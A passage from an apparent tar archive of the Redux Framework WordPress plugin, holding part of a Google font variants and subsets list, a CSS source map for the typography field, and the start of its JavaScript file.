200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Trocchi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Trochut":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Truculenta":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Trykker":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Tulpen One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Turret Road":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Twinkle Star":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Ubuntu":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ubuntu Condensed":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ubuntu Mono":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Uchen":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"tibetan","name":"Tibetan"}]},"Ultra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Uncial Antiqua":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Underdog":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Unica One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"UnifrakturCook":{"variants":[{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"UnifrakturMaguntia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Unkempt":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Unlock":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Unna":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Updock":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Urbanist":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"VT323":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Vampiro One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Varela":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Varela Round":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Varta":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Vast Shadow":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Vazirmatn":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Vesper Libre":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Viaoda Libre":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Vibes":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Vibur":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Vidaloka":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Viga":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Voces":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Volkhov":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Vollkorn":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Vollkorn SC":{"variants":[{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Voltaire":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Vujahday Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Waiting for the Sunrise":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Wallpoet":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Walter Turncoat":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Warnes":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Water Brush":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Waterfall":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Wellfleet":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Wendy One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Whisper":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"WindSong":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Wire One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Work Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Xanh Mono":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Yaldevi":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"sinhala","name":"Sinhala"}]},"Yanone Kaffeesatz":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Yantramanav":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yatra One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yellowtail":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Yeon Sung":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Yeseva One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Yesteryear":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Yomogi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Yrsa":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Yuji Boku":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yuji Hentaigana Akari":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yuji Hentaigana Akebono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yuji Mai":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yuji Syuku":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Yusei Magic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"ZCOOL KuaiLe":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"ZCOOL QingKe HuangYou":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"ZCOOL XiaoWei":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Zen Antique":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Antique Soft":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Dots":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Kaku Gothic Antique":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Kaku Gothic New":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Kurenaido":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Loop":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Maru Gothic":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Old Mincho":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek","name":"Greek"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zen Tokyo Zoo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zeyada":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Zhi Mang Xing":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Zilla Slab":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Zilla Slab Highlight":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]}}', true );����������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography.css.map��������������������������������������0000644�����������������00000006771�14720701300�0020757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "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", "sources": ["field_typography.scss"], "names": [], "file": "field_typography.css" }�������redux-framework/inc/fields/typography/field_typography_json.js��������������������������������������0000644�����������������00000070264�14720701300�0021056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ /** * Typography * Dependencies: google.com, jquery, select2 * Feature added by: Dovy Paukstys - http://simplerain.com/ * Date: 06.14.2013 * * Rewrite: Kevin Provance (kprovance) * Date: May 25, 2014 */ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; 